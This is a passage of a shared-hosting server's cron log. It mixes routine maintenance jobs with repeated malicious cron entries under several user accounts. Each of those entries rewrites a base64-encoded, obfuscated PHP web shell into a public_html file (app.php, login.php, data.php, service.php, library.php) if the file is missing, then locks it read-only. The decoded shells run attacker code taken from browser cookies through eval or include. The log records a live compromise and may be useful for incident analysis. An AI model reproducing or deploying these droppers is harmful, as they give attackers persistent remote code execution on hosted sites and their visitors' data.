Y6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:09:01 medusa CROND[21470]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:09:01 medusa CROND[21471]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:09:01 medusa CROND[21472]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:09:01 medusa CROND[21474]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:09:01 medusa CROND[21481]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:09:01 medusa CROND[21479]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:09:01 medusa CROND[21487]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24174]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:10:01 medusa CROND[24389]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:10:01 medusa CROND[24390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24391]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:10:01 medusa CROND[24394]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:10:01 medusa CROND[24397]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:10:01 medusa CROND[24401]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:10:01 medusa CROND[24410]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:10:01 medusa CROND[24411]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:10:01 medusa CROND[24406]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 23:10:01 medusa CROND[24412]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24413]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:10:01 medusa CROND[24416]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:10:01 medusa CROND[24419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:10:01 medusa CROND[24421]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:10:01 medusa CROND[24425]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24426]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:10:01 medusa CROND[24427]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:10:01 medusa CROND[24414]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24437]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:10:01 medusa CROND[24408]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:10:01 medusa CROND[24407]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 23:10:01 medusa CROND[24434]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:10:01 medusa CROND[24420]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 23:10:01 medusa CROND[24409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 23:11:01 medusa CROND[30273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:11:02 medusa CROND[30436]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:11:02 medusa CROND[30438]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:11:02 medusa CROND[30440]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:11:02 medusa CROND[30447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
